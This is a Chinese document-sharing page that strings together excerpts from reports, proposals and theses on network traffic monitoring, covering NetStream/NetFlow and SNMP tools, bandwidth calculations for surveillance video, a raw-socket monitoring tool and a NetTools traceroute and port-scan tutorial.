1 网络流量分析解决方案 方案简介 NTA网络流量分析系统为客户提供了一种可靠的、便利的网络流量分析解决 方案。客户可以使用支持NetStream技术的路由器和交换机提供网络流量信息, 也可以使用DIG探针采集器对网络流量信息进行采集。并且可根据需求,灵活启动不同层面(接入层、汇聚层、核心层)的网络设备进行流量信息采集,不需要改动现有的网络结构。 NTA网络流量分析系统可以为企业网、校园网、园区网等各种网络提供网络流量信息统计和分析功能,能够让客户及时了解各种网络应用占用的网络带宽,各种业务消耗的网络资源和网络应用中TopN流量的来源,可以帮助网络管理员及时发现网络瓶颈,防范网络病毒的攻击,并提供丰富的网络流量分析报表。帮助客户在网络规划、网络监控、网络优化、故障诊断等方面做出客观准确的决策。2方案特点 ● 多角度的网络流量分析 NTA网络流量分析系统可以统计设备接口、接口组、IP地址组、多链路接口的(准)实时流量信息,包括流入、流出速率以及当前速率相对于链路最大速率 的比例。 NTA网络流量分析系统可以从多个角度对网络流量进行分析,并生成报表,包 括基于接口的总体流量趋势分析报表、应用流量分析报表、节点(包括源、目 的IP)流量报表、会话流量报表等几大类报表。 ● 总体流量趋势分析 总体流量趋势报表可反映被监控对象(如一个接口、接口组、IP地 址组)的入、出流量随时间变化的趋势。 图形化的统计一览表提供了指定时间段内总流量、采样点速率最大值、 采样点速率最小值和平均速率的信息。对于设备接口,还可提供带宽 资源利用率的统计。 支持按主机统计流量Top5,显示给定时间段内的流量使用在前5位 的主机流量统计情况,以及每个主机使用的前5位的应用流量统计。 同时还支持流量明细报表,可提供各采样时间点上的流量和平均速率

网络监控流量及存储算法.doc

1080P、720P、4CI F、CIF所需要的理论带宽【转】 在视频监控系统中,对存储空间容量的大小需求是与画面质量的高低、及 视频线路等都有很大关系。下面对视频存储空间大小与传输带宽的之间的计算 方法做以先容。 比特率是指每秒传送的比特 (bit)数。单位为 bps(BitPerSecond),比特率越高,传送的数据越大。比特率表示经过编码 (压缩 )后的音、视频数据每秒钟需要用多少个比特来表示,而比特就是二进制里面最小的单位,要么是 0,要么是1。比特率与音、视频压缩的关系,简单的说就是比特率越高,音、视频的质量 就越好,但编码后的文件就越大;假如比特率越少则情况恰好相反。 码流 (DataRate)是指视频文件在单位时间内使用的数据流量,也叫码率, 是视频编码中画面质量控制中最重要的部分。同样分辨率下,视频文件的码流 越大,压缩比就越小,画面质量就越高。 上行带宽就是本地上传信息到网络上的带宽。上行速率是指用户电脑向网络发送信息时的数据传输速率,比如用 FTP上传文件到网上往,影响上传速度的 就是“上行速率”。 下行带宽就是从网络上下载信息的带宽。下行速率是指用户电脑从网络下载信息时的数据传输速率,比如从 FTP服务器上文件下载到用户电脑,影响下传 速度的就是“下行速率”。 不同的格式的比特率和码流的大小定义表: 传输带宽计算: 比特率大小×摄像机的路数 =网络带宽至少大小; 注: 监控点的带宽是要求上行的最小限度带宽(监控点将视频信息上传到监控中心);监控中心的带宽是要求下行的最小限度带宽 (将监控点的视频信息下载到监控中心 );例:

电信 2Mbps 的 ADSL宽带, 50 米红外摄像机理论上其上行带宽 是512kbps=64kb/s,其下行带宽是 2Mbps=256kb/。 例: 监控分布在 5 个不同的地方,各地方的摄像机的路数: n=10(20 路)1 个监控中心,远程监看及存储视频信息,存储时间为30 天。不同视频格式的带宽及存储空间大小计算如下: 地方监控点: CIF视频格式每路摄像头的比特率为 512Kbps,即每路摄像头所需的数据传 输带宽为 512Kbps,10 路摄像机所需的数据传输带宽为: 512Kbps(视频格式的比特率 ) × 10(摄像机的路数 ) ≈ 5120Kbps=5Mbps(上行带宽 ) 即: 采用 CIF视频格式各地方监控所需的网络上行带宽至少为 5Mbps;D1 视频格式每路摄像头的比特率为 1.5Mbps,即每路摄像头所需的数据传输带宽为 1.5Mbps,10 路摄像机所需的数据传输带宽为: 1.5Mbps(视频格式的比特率 ) × 10(摄像机的路数 )=15Mbps(上行带宽 )即: 采用 D1 视频格式各地方监控所需的网络上行带宽至少为 15Mbps;720P(100万像素 )的视频格式每路摄像头的比特率为 2Mbps,即每路摄像头所需的数据传输带宽为 2Mbps,10 路摄像机所需的数据传输带宽为: 2Mbps(视频格式的比特率 ) × 10(摄像机的路数 )=20Mbps(上行带宽 ) 即: 采用 720P的视频格式各地方监控所需的网络上行带宽至少为 20Mbps;1080P(200 万像素 )的视频格式每路摄像头的比特率为 4Mbps,浙江监控批发网

网络流量监控及分析工具的设计与实现

目录 1引言 0 1、1课题背景 0 1、2网络流量监控的引入 0 1、3课程设计的目的与任务 (1) 2相关的概念与技术 (2) 2、1TCP/IP体系结构 (2) 2、2原始套接字 (2) 3网络数据的采集技术分析 (3) 3、1Windows下原始数据包捕获的实现 (3) 3、2原始数据包捕获的关键函数 (4) 4网络流量监控系统各模块的设计与实现 (5) 4、1总体结构设计 (5) 4、2流程图设计 (6) 4、3各模块功能概述与实现 (6) 4、3、1数据包采集中各类的关系 (6) 4、3、2数据包捕获与分析模块 (6) 4、3、3流量获取模块 (8) 4、3、4数据统计模块 (10) 5分析工具测试 (10) 5、1测试环境 (10) 5、2测试步骤 (11) 5、3测试结果评价 (11) 6结束语 (12) 参考文献: (13) 1引言 1.1课题背景 随着构建网络基础技术与网络应用的迅速发展以及用户对网络性能要求的提高,使得网络管理成为迫切需要解决的问题,有效的网络管理能够保证网络的稳定运行与持续发展,更重要的就是,随着网络规模的扩大与黑客技术的发展,入侵与攻击的案例日益增多,对稳定的网络服务、信息安全、互联网秩序都提出了严峻的挑战,网络安全管理在整个网络管理系统里扮演起更为重要的角色。 1.2网络流量监控的引入 网络安全管理体系中,流量监控与统计分析就是整个管理的基础。

流量检测主要目的就是通过对网络数据进行实时连续的采集监测网络流量,对获得的流量数据进行统计计算,从而得到网络主要成分的性能指标。网络管理员根据流量数据就可以对网络主要成分进行性能分析管理,发现性能变化趋势,并分析出影响网络性能的因素及问题所在。此外,在网络流量异常的情况下,通过扩展的流量检测报警系统还可以向管理人员报警,及时发现故障加以处理。在网络流量检测的基础上,管理员还可对感兴趣的网络管理对象设置审查值范围及配置网络性能对象,监控实时轮询网络获取定义对象的当前值,若超出审查值的正常预定值则报警,协助管理员发现网络瓶颈,这样就能实现一定程度上的故障管理。而网络流量检测本身也涉及到安全管理方面的内容。 由此可见,对于一个有效的网络安全管理系统来说,功能的实现都或多或少的依赖于流量信息的获取。因此网络流量信息的采集可以说就是网络安全管理系统得以实现的核心基石。它的应用可以在一定程度上检测到入侵攻击,可以有效地帮助管理人员进行网络性能管理,并利用报警机制协助网管人员采取对应的安全策略与防护措施,从而减少入侵攻击所造成的损失。 1.3课程设计的目的与任务 该网络流量监控及分析工具主要用途就是通过实时连续地采集网络数据并对其进行统计,得到主要成分性能指标,结合网络流量的理论,通过统计出的性能指数观察网络状态,分析出网络变化趋势,找出影响网络性能的因素。 课程设计开发的工具实现以下功能: (1)采用Winsock编写原始套接字Socket-Raw对数据包进行采集捕获,并可实现分类及自定义范围进行捕获; (2)对捕获的数据包进行一定的解析; (3)访问操作系统提供的网络性能参数接口,得到网卡总流量、输入流量与输出流量; (4)系统提供了多种方式显示结果,如曲线图、列表等; (5)使用IP帮助API获取网络统计信息; (6)实现对部分常见威胁的预警,可继续开发扩展其报警功能。

流量监控与分析工具

网络流量监控工具 Essential NetTools 是一款功能完备的网络即时监控软件,可以监控网络中计算机的各种信息,监控计算机的网络连接状况,扫描计算机的MAC地址、开放端口等。Essential NetTools 运行后,首先会显示本地计算机当前运行的进程,如图 1 包括进程名称(Process)、使用的协议(Proto)、本地IP地址(Loc.IP)、本地开放的端口(Loc.Port)、以及连接的主机名等。 图 1 一追踪路由 在Essential NetTools 主窗口左侧列表选择“Trace Route ”按钮,显示“Trace Route”窗口,可以追踪到达IP地址所经过的路由,以判断网络状况。 下面以追踪新浪地址为例,在“Host or IP address”文本框中,键入218.206.86.221 ,然后单击“Start”按钮。显示结果如图 2 ,从学校到新浪服务器需要经过15个路由。

图2 二扫描开放端口 Essential NetTools可以一个网段内计算机开放了哪些端口,并判断端口所使用的服务。通过该功能,可以判断计算机上运行了哪些程序、使用哪些服务或是否中了蠕虫或木马。 单击左侧窗口中的“PortScan”按钮,在“Starting IP address”输进要扫描的IP地址,在“Ending IP address”输进要扫描的终止IP地址,在“Ports”选项中选择要扫描的端口类型。单击“Start”即可开始扫描。图 3 扫描的是“218.206.86.100-------218.206.86.221”的主机端口。从扫描 端口可知,各主机只开放了http(80)端口。

车载车流量监控系统方案

车载车流量监控系统使用说明书

1. 车载车流量监控系统 随着现代社会人民生活水平的提高,经济的快速发展,交通拥挤、道路阻塞频繁发生,为了阻止交通拥堵现象的进一步恶化,各国政府启动智能交通计划。 智能交通系统的关键在于交通信息的采集,开发成本低、可大量布设到各个路口的基于无线传感器网络的车流量监控系统,通过控制交叉口合适的信号参数,使不同方向的车流在时间上隔离,控制车流的运行秩序,实现交叉口车辆运行的安全、有序,是解决交通拥挤的一种基本手段。 2.车载车流量监控系统编写背景、目的及意义 2.1编写背景 在汽车内安装无线通信模块,使汽车通过自身安装的传感器节点或道路基础设施上安装的无线传感器节点感知行驶途中的各种信息,已经成为提高行驶安全和城市的交通性能的一种重要手段。[1]大量的车辆传感器节点通过车上以及道路基础设施上安装的无线通信设备,可构成车载无线传感器网络[2],通过车辆之间的中继传输得到全面的城市交通信息。 车载无线网络可以让行驶者或交管部门得到车辆的状态数据和城市的交通数据。车辆状态数据包括行驶时的各种内在状态、比如位置或快慢等;交通数据包括交通流量或路面状况等。除了车上安装的传感装置外,驾驶员也可以通过对道路和交通的观察,获知复杂事件,如发生的交通事故、比较危险的路段等即时事件。 世界各国的研究机构在近年来对车载无线传感器网络持续关注,美国联邦通信委员会(FCC)1999年在5.9GHz的频谱上为智能交通通信分配了75MHz的带宽[3],并制定了DSRC协议。这个75MHz的频带包括了7个10MHz的信道,另外还提供了1个信道用于传递控制信息和6个信道传递服务信息。DSRC协议是一个

网络流量监测管理系统的研究与实现

龙源期刊网 https://www.360docs.net/doc/fe10244291.html, 网络流量监测管理系统的研究与实现 作者:何荣毅 来源:《硅谷》2008年第09期 [摘要]通过应用MRTG软件,搭建一个基于SNMP协议和NETFLOW技术的网络流量监测管理系统。运用信息过滤技术和数据库管理设计,解决数据拥堵和数据查询方式单一的问题。 [关键词]流量监测S NMP协议 NETFLOW技术 中图分类号:TP3 文献标识码:A 文章编号:1671-7597(2008)0510020-01 一、引言 随着通信技术和网络的快速发展,各种信息网络形成了一个信息爆炸的网络空间。为了更好地利用丰富的网络资源,网络管理得到越来越多的重视。流量监测对于网络管理有着重要意义,是网络管理系统中一个重要的部分。利用合适的网络工具监测网络的流量和性能,能够及时发现网络存在的瓶颈,了解网络的运行状态,从而优化网络结构,提高网络服务质量。高效的网络流量监测不仅能够让网络管理人员及时了解网络的运行状态,对网络出现的问题做出及时调整或排除,也可作为网络规划和排除网络故障的依据。MRTG(Multi Router Traffic Grapher)是一个监控网络链路流量负载的工具软件,它通过SNMP(Simple Network Management Protocol)协议从设备得到网络的流量信息,并将流量负载以HTML文档方式显示给用户,以非常直观 的形式显示流量负载,能起到很好的流量监测管理作用。 二、网络流量监测管理系统方案 提出一种应用MRTG软件工具,利用SNMP与NETFLOW技术相组合,采用信息过滤模块,实现数据库便捷访问,最后达到高效率的流量监测目的的网络流量监测系统。系统设计采用了基于SNMP、NEWFLOW的网络管理框架模型,进而开发和实现了在操作系统平台上运 行的信息采集系统。系统可以根据网络管理人员的需求提供详细的信息查询定位到某一自治域、路由器及其端口、设定IP地址的流量出入情况。基于SNMP、NEWFLOW的路由器采集到与其它互联单位的流量出入数据,并根据需要存入数据库。同时监测程序可以对互联单位的

流量分析系统方案

网络流量监控分析系统方案 网络流量监控分析系统方案 广州源典科技有限公司 Guangzhou U&D. T echnology Co.,LTD. 地址:广州市天河区天河东路155号骏源大厦7楼702室 2011年07月

网络流量监控分析系统方案 目录 1. 概述 (1) 2. 网络流量监控分析系统需求分析 (2) 2.1. 流量监控分析系统需求 (2) 2.2. 需求分析 (2) 3. NetScout nGenius网络流量监控分析解决方案 (4) 3.1. NetScout公司简介 (4) 3.2. nGenius企业级网络和应用性能管理系统 (5) 4. 系统方案 (7) 4.1. 系统部署示意图 (7) 4.2. 系统部署说明 (7) 4.3. 系统组成 (8) 4.4. 产品的主要功能 (13)

网络流量监控分析系统方案 1.概述 为了最大程度地提高网络的运行质量,实现管理的规范化、科学化,对网络的数据流量进行综合分析,对潜在隐患争取提前预警,对各种发生的故障进行及时定位、分析、处理,保障全网安全、高效、稳定的运行,合理有效地利用网络资源等就变得日趋重要。一个运行良好的网络系统,所产生的经济效益和节约的运行费用是非常可观的,而一个运行不好的网络系统,可能带来的损失是难以估量的。因此,网络监控和安全管理已成为一个倍受瞩目的焦点领域,越来越多的人认识到它是整个网络环境中必不可少而且非常重要的一个组成部分。 网络监控和维护就是在已运行的网络系统上叠加部分计算机网络资源,在不影响系统正常运行和不改变系统内核的情况下,完成对系统运行情况数据的采集、系统故障预警和告警、部分调整工作的实施并提供分析数据和部分参考解决方案等项功能。NetScout网络监控系统正是这样一种可以为流量监控与分析方面的需求提供最好的解决方案,是目前市面上唯一具备完整网络性能管理方案的厂家,产品包含硬件探针及软件系统。NetScout网络性能管理方案可为用户提供主动式的网络管理,通过7×24小时的网络监控,帮助用户了解网络带宽的使用情况,业务应用的行为规律,业务应用的响应时间,及时发现网络故障隐患,保证业务应用的正常。

网络流量监控及分析工具的设计与实现毕业设计论文

网络流量监控及分析工具的设计与实现 摘要 互联网迅速发展的同时,网络安全问题日益成为人们关注的焦点,病毒、恶意攻击、非法访问等都容易影响网络的正常运行,多种网络防御技术被综合应用到网络安全管理体系中,流量监控系统便是其中一种分析网络状况的有效方法,它从数据包流量分析角度,通过实时地收集和监视网络数据包信息,来检查是否有违反安全策略的行为和网络工作异常的迹象。 在研究网络数据包捕获、 TCP/IP原理的基础上,采用面向对象的方法进行了需求分析与功能设计。该系统在VisualC++6.0环境下进行开发,综合采用了Socket-Raw、注册表编程和IP助手API等VC编程技术,在系统需求分析的基础上,对主要功能的实现方案和技术细节进行了详细分析与设计,并通过测试,最终实现了数据包捕获、流量监视与统计主要功能,达到了预定要求,为网络管理员了解网络运行状态提供了参考。 关键词:网络管理;数据采集;流量统计;Winsock2

The Design and Implementation of Monitoring and Analyzing Tool for Network Traffic Abstract With the rapid development of Internet, network safety has become people’s concern, virus, vigorous attack, illegal visit and so on can easily affect the normal network performance. Various kinds of network defending technology have been comprehensively applied into the management system of network safety. Network traffic system is one of the effective measures to analysis network condition. From the angle of analyzing packet traffic, it can examine the safety violation and the abnormal performance of network by timely collecting and monitoring packets information. By using the way of object-oriented, this design makes a needs analysis and ability designing based on the study of network packet collecting and TCP/IP theory. Under the environment of Visual C++6.0, this system adopts VC program technologies of Socket-Raw, Windows register and IpHelper API. On the basis of system analysis, it makes a deliberate analysis and test of plans and details to implement packets collecting, traffic monitoring and statistics. So this meets our needs and makes a reference for managers to get to know the network conditions. Key words:network management; data collection; traffic analysis; Winsock2

网络流量监测的常用的四种方法

网络流量监测的常用的四种方法 网络流量检测对于企业网络管理员来说算是必要的技术之一,通过网络流量检测可以使得网络安全管理员监控企业网络存在的异常与威胁。下面是几种常用的流量监测分析手段。 基于小草上网行为管理软路由的流量监测 小草上网行为管理软路由是专业的企业局域网流量控制管理软件,基于应用、员工、部门、流控策略等多角度全方位分析网络流量;每5秒刷新一次,实时透视网络流量;快速发现网络问题和迅速定位网络故障;并且能够实现企业带宽流量的智能管理,科学合理的分配企业流量! 基于硬件探针的监测技术 硬件探针是一种用来获取网络流量的硬件设备,使用时将它串接在需要捕捉流量的链路中,通过分流链路上的数字信号而获取流量信息。一个硬件探针监视一个子网(通常是一条链路)的流量信息。对于全网流量的监测需要采用分布式方案,在每条链路部署一个探针,再通过后台服务器和数据库,收集所有探针的数据,做全网的流量分析和长期报告。与其他的3种方式相比,基于硬件探针的最大特点是能够提供丰富的从物理层到应用层的详细信息。但是硬件探针的监测方式受限于探针的接口速率,一般只针对1000M以下的速率。而且探针方式重点是单条链路的流量分析,Netflow更偏重全网流量的分析。 基于流量镜像协议分析 流量镜像(在线TAP)协议分析方式是把网络设备的某个端口(链路)流量镜像给协议分析仪,通过7层协议解码对网络流量进行监测。与其他3种方式相比,协议分析是网络测试的最基本手段,特别适合网络故障分析。缺点是流量镜像(在线TAP)协议分析方式只针对单条链路,不适合全网监测。 之基于SNMP的流量监测技术 基于SNMP的流量信息采集,实质上是测试仪表通过提取网络设备Agent提供的MIB(管理对象信息库)中收集一些具体设备及流量信息有关的变量。基于SNMP收集的网络流量信息包括:输入字节数、输入非广播包数、输入广播包数、输入包丢弃数、输入包错误数、输入未知协议包数、输出字节数、输出非广播包数、输出广播包数、输出包丢弃数、输出包错误数、输出队长等。相似的方式还包括RMON。与其他的方式相比,基于SNMP的流量监测技术受到设备厂家的广泛支持,使用方便,缺点是信息不够丰富和准确,分析集中在网络的2、3层的信息和设备的消息。SNMP方式经常集成在其他的3种方案中,如果单纯采用SNMP 做长期的、大型的网络流量监控,在测试仪表的基础上,需要使用后台数据库。

基于物联网智能交通流量分析系统

物联网基础大作业 题目:基于物联网智能交通车流量分析系统的设计 学院(系部): 专业:班级: 学生姓名:学号: 成绩:□优秀□良好□中等□及格□不及格(注:方框打√) 2016年6月22日 一、作品设计目标及意义 (1)设计目标:通过物联网技术的运用,即城市交通与RFID(射频识别技术)的实际操作相结合,利用电磁反向散射耦合的特性,实现远距离的识别,从而达到

数据的传输和交换,逐步形成和完善智能车交通流量分析系统。改变传统交通管理模式,提高智能交通管理的效率,更好的改变现阶段大中城市的道路交通拥堵问题。 (2)意义:RFID技术的投入使用,与基础设施结合,一定程度上改善了大中城市的道路交通拥堵的现状,缓解了城市交通管理的压力,减少公路交通事故的发生几率,降低人民的生命和财产的损失。对与大部分司机而言,在路上等着红绿灯,无疑是一种漫长的乏味的事情。时间能创造一切可能,包括生命和金钱。RFID电子器件的安装使用,所能达到的效果:让返回医院的救护车比原先到达医院所用时间要早5分钟,或许能多挽救一条生命;让每天上下班的上班族能够比过去到达上班地点要提前20分钟,或许他能减少上班迟到的次数;让运输货物的司机比原来货送到客户手中要快上5个小时的时间,让顾客充分感受物流的快捷、方便,推动经济的发展。 二、相关现状分析 中国现阶段作为一个发展中国家,随着城镇化的推进,人民生活水平的提高,汽车作为一种交通工具,已经成为大多数人的不二之选,导致汽车的需求越来越大,这也势必导致道路交通拥堵等一系列问题。因此,解决城市交通问题成为当务之急。 高德地图在1月19号发布的《2015年度中国主要城市交通分析报告》显示,在高德地图交通大数据检测的45个主要城市中,只有南通市是唯一一个拥堵小幅度缓解的城市。其余大部分城市和地区拥堵都在进一步恶化。以北京为例,北京高峰拥堵延时指数为2.06,平均车速为22.61公里/小时,也就是说北京驾车出行的上班族要花费畅通下2倍的时间,才能到达目的地。种种迹象表明大中城市的交通拥堵现状依旧不容乐观。 目前,世界上智能交通系统应用最为广泛的地区要属日本,其技术相当完善和成熟,欧洲、美国等地区也普遍应用。就我国目前而言,北京、上海等大城市也已

网络流量分析和监测程序的实现要点.doc

电子科技大学通信学院 《综合实验设计指导书》 网络流量监测与分析 班级 学生 学号 教师

【实验名称】网络流量监测及分析 【实验目的】 1、观察网络中出现的各种数据包的结构,封装格式,掌握数据包的分析方法。通过分析数据包格式,结合网络课程所学知识,达到验证所学,学以致用的目的。 2、了解流量监测的基本方法和采样统计分析过程; 掌握流量监测中的采样方法,包括选择监测采样技术,如何设置采样点,选择采样时间以及采样数据存储区大小的设定等 3、分析监测到的网络流量,并做出分析报告。 通过从不同的角度对数据进行分析,得到实验结论和利用网络知识解释分析流量变化原因。 例如,可从以下角度: 数据链路层:广播、单播,分析广播风暴;报文长度,分析各种长度报文所占比例,计算报文平均长度等。 网络层:源和目的;分析内外网进出流量,分析焦点节点流量比例及变换情况;分析ICMP报文,网络开销比例等。 传输层:分析面向连接协议与面向无连接协议的使用情况。 应用层:分析各种典型应用的使用情况。 主要的分析方法可以用到:流量随时间变化曲线,及对高峰低谷数据的分析;

分析各成分在流量中的比例,及随时间变化曲线等;求平均值及比较各成分均值。【实验要求】 1、实验者在了解实验目的后,自行设计监测计划,和按计划取得数据。自己制定数据分析方法和分析角度,得出实验结论。 2、完成至少4种类型的数据包的分析,列出每个字段的含义。除了给出该字段的数值外,还要指出字段值表达了怎样的信息。 3、做出全天数据总流量变化图。 4、至少从3种不同角度对流量进行分析。 5、完成整个监测计划中每天流量变化的比较分析 分析的重点不是各项统计数据本身,实验者需要完成对这些数据值的大小、关系、变化趋势等方面的进行分析和评价,进一步得出网络流量特点的结论,并尝试揭露形成相应特点的原因。 【实验原理】 1、设置监测点 在网络中不同的位置设置监测点,监测结果和结论将有很大差别。如在网络内设置监测点可以观察网内通信的情况,在网间设置检测点则主要观察数据进出网络的情况。 由于监测目标的子网内采用了交换机,网内监测将很难观察通信情况,本设计将主要观察网间通信,将监测点设置在通信学院二级子网与校园主干网相接的

网络流量监控软件的设计与实现设计

网络流量监控软件的设计与实现设计

长沙理工大学 《网络协议编程》课程设计报告 网络流量监控软件的设计与实现 xxx 学 院 计算机与通信工程 专 业 网络工程 班 级 网络12-1 学 号 20125808** 学生姓名 xxxxxx 指导教师 xxxxx 课程成绩 完成日期 2015年9月25日

课程设计成绩评定 院系计算机与通信工程专业网络工程 班级网络1201 学号xxxxxx 学生姓名xxxxxx指导教师xxxxxx 指导教师对学生在课程设计中的评价 指导教师成绩指导教师签字年月日课程设计答辩组对学生在课程设计中的评价 答辩组成绩答辩组长签字年月日

课程设计综合成绩 注:课程设计综合成绩=指导教师成绩×60%+答辩组成绩×40% 课程设计任务书 计算机与通信工程学院网络工程专业

网络流量监控软件的设计与实现 学生姓名:xxxxxx 指导老师:xxxxxx 摘要互联网迅速发展的同时,网络安全问题日益成为人们关注的焦点,病毒、恶意攻击、非法访问等都容易影响网络的正常运行,多种网络防御技术被综合应用到网络安全管理体系中,流量监控系统便是其中一种分析网络状况的有效方法,它从数据包流量分析角度,通过实时地收集和监视网络数据包信息,来检查是否有违反安全策略的行为和网络工作异常的迹象。在研究网络数据包捕获、 TCP/IP原理的基础上,采用面向对象的方法进行了需求分析与功能设计。该系统在VisualC++6.0环境下进行开发,综合采用了Socket-Raw、注册表编程和IP助手API等VC编程技术,在系统需求分析的基础上,对主要功能的实现方案和技术细节进行了详细分析与设计,并通过测试,最终实现了数据包捕获、流量监视与统计主要功能,达到了预定要求,为网络管理员了解网络运行状态提供了参考。 关键词网络管理;数据采集;流量统计;Winsock2

网络流量监测技术及方法的探讨

科技信息 一、网络流量监测的意义 网络流量监测主要为对网络数据进行连续的采集,通过连续采集网络数据监测网络的流量。获得网络流量数据后对其进行统计和计算,从而得到网络及其主要成分的性能指标。定期形成性能报表,并维护网络流量数据库或日志,存储网络及其主要成分的性能的历史数据,网络管理员根据当前的和历史的数据就可对网络及其主要成分的性能进行性能管理,通过数据分析获得性能的变化趋势。分析制约网络性能的瓶颈问题。此外,在网络性能异常的情况下网络流量监测系统还可向网络管理者进行告警,使故障及时得到处理。在网络流量监测的基础上,管理员可对感兴趣的网络管理对象设置阈值范围以配置网络阈值对象,阈值对象监控实时轮询网络获取定义对象的当前值。若超出阀值的上限和下限则报警,帮助管理员发现网络瓶颈,这样即可实现一定程度上的故障管理,而网络流量监测本身也涉及到安全管理方面的内容。 所以,网络流量监测是网络管理中一个非常基础也非常重要的一个环节,研究网络流量监测是非常有意义的。 二、网络流量的特性 通过对互联网通信量的测量,人们发现互联网通信量的主要特性有: 1、数据流是双向的,但通常是非对称的互联网上大部分的应用都是双向交换数据的,因此网络的流是双向的。但是两个方向上的数据率有很大的差异,这是因为从网站下载时会导致从网站到客户端方向的数据量比另外一个方向多。 2、大部分TCP会话是短期的,超过90%的TCP会话交换的数据量小于10K字节,会话持续时间不超过几秒。虽然文件传输和远程登陆这些TCP对话都不是短期的,但是由于80%的WWW文档传输都小于10K字节,WWW的巨大增长使其在这方面产生了决定性的影响。 3、包的到达过程不是泊松过程,大部分传统的排队理论和通信网络设计都假设包的到达过程是泊松过程,即包到达的间断时间的分布是独立的指数分布。简单的说,泊松到达过程就是事件(例如地震,交通事故,电话等)按照一定的概率独立的发生。泊松模型因为指数分布的无记忆性也就是事件之间的非相关性而使其在应用上要比其他模型更加简单。然而近年来对互联网络通信量的测量显示包到达的过程不是泊松过程。包到达的间断时间不仅不服从指数分布,而且不是独立分布的。大部分时候是多个包连续到达,即包的到达是有突发性的。很明显,泊松过程不足以精确地描述包的到达过程。造成这种非泊松结构的部分原因是数据传输所使用的协议。非泊松过程的现象迫使人们怀疑使用简单的泊松模型研究网络的可靠性,从而促进了网络通信量模型的研究。 4、网络通信量具有局域性,互联网流量的局域性包括时间局域性和空间局域性。用户在应用层对互联网的访问反映在包的时间和源及目的地址上,从而显示出基于时间的相关(时间局域性)和基于空间的相关(空间局域性)。 三、网络流量的监测技术 1、基于流量镜像协议分析 流量镜像(在线TAP)协议分析方式是把网络设备的某个端口(链路)流量镜像给协议分析仪,通过7层协议解码对网络流量进行监测。与其他3种方式相比,协议分析是网络测试的最基本手段,特别适合网络故障分析。缺点是流量镜像(在线TAP)协议分析方式只针对单条链路,不适合全网监测。 2、基于硬件探针的监测技术 硬件探针是一种用来获取网络流量的硬件设备,使用时将它串接在需要捕捉流量的链路中,通过分流链路上的数字信号而获取流量信息。一个硬件探针监视一个子网(通常是一条链路)的流量信息。对于全网流量的监测需要采用分布式方案,在每条链路部署一个探针,再通过后台服务器和数据库,收集所有探针的数据,做全网的流量分析和长期报告。与其他的3种方式相比,基于硬件探针的最大特点是能够提供丰富的从物理层到应用层的详细信息。但是硬件探针的监测方式受限于探针的接口速率,一般只针对1000M以下的速率。而且探针方式重点是单条链路的流量分析,Netflow更偏重全网流量的分析。 3、基于SNMP的流量监测技术 基于SNMP的流量信息采集,实质上是测试仪表通过提取网络设备Agent提供的MIB(管理对象信息库)中收集一些具体设备及流量信息有关的变量。基于SNMP收集的网络流量信息包括:输入字节数、输入非广播包数、输入广播包数、输入包丢弃数、输入包错误数、输入未知协议包数、输出字节数、输出非广播包数、输出广播包数、输出包丢弃数、输出包错误数、输出队长等。相似的方式还包括RMON。与其他的方式相比,基于SNMP的流量监测技术受到设备厂家的广泛支持,使用方便,缺点是信息不够丰富和准确,分析集中在网络的2、3层的信息和设备的消息。SNMP方式经常集成在其他的3种方案中,如果单纯采用SNMP做长期的、大型的网络流量监控,在测试仪表的基础上,需要使用后台数据库。 4、基于Netflow的流量监测技术 Netflow流量信息采集是基于网络设备(Cisco)提供的Netflow机制实现的网络流量信息采集。Netflow为Cisco之专属协议,已经标准化,并且Juniper、extreme、华为等厂家也逐渐支持,Netflow由路由器、交换机自身对网络流量进行统计,并且把结果发送到第3方流量报告生成器和长期数据库。一旦收集到路由器、交换机上的详细流量数据后,便可为网络流量统计、网络使用量计价、网络规划、病毒流量分析,网络监测等应用提供计数根据。同时,Netflow也提供针对QoS(QualityofSer-vice)的测量基准,能够捕捉到每笔数据流的流量分类或优先性特性,而能够进一步根据QoS进行分级收费。与其他的方式相比,基于Netflow的流量监测技术属于中央部署级方案,部署简单、升级方便,重点是全网流量的采集,而不是某条具体链路;Netflow流量信息采集效率高,网络规模越大,成本越低,拥有很好的性价比和投资回报。缺点是没有分析网络物理层和数据链路层信息。Netflow方式是网络流量统计方式的发展趋势。 在综合比较四种技术之后,不难得出以下结论:基于SNMP的流量监测技术能够满足网络流量分析的需要,且信息采集效率高,适合在各类网络中应用。 参考文献 [1]吕军,李星.网络测量分析及研究综述.计算机工程与应用,2006.P:19. [2]张峰,雷振明.高速网络流测量及模型研究.计算机工程与应用,2007P:28. [3]陈志松.Windows环境下网络流量监测与分析.计算机工程与应用,2009. [4]石志国.网络流量监测技术及流量抽样方法的研究.清华大学出版社,2007. 网络流量监测技术及方法的探讨 湖南机电职业技术学院李玉林 [摘要]网络流量监测是网络管理的基础。为了更好地管理网络和改善网络的运行,网络管理者需要知道其网络的流量情况。比 如,当网络管理者发现某些设备的流量负载过重时,就可以考虑在更换新的设备或者改造线路;当网络管理者发现了网络中数据流 量变化的规律时,可以更好地调配设备,有效地利用资源。一个能够显示网络设备流量的工具,使网络管理者能够直观地监测设备 流量的变化,对网络设备进行有效管理是很有必要的。 [关键词]网络流量技术网络流量监测方法 计算机与网络 213 ——

相关文档
最新文档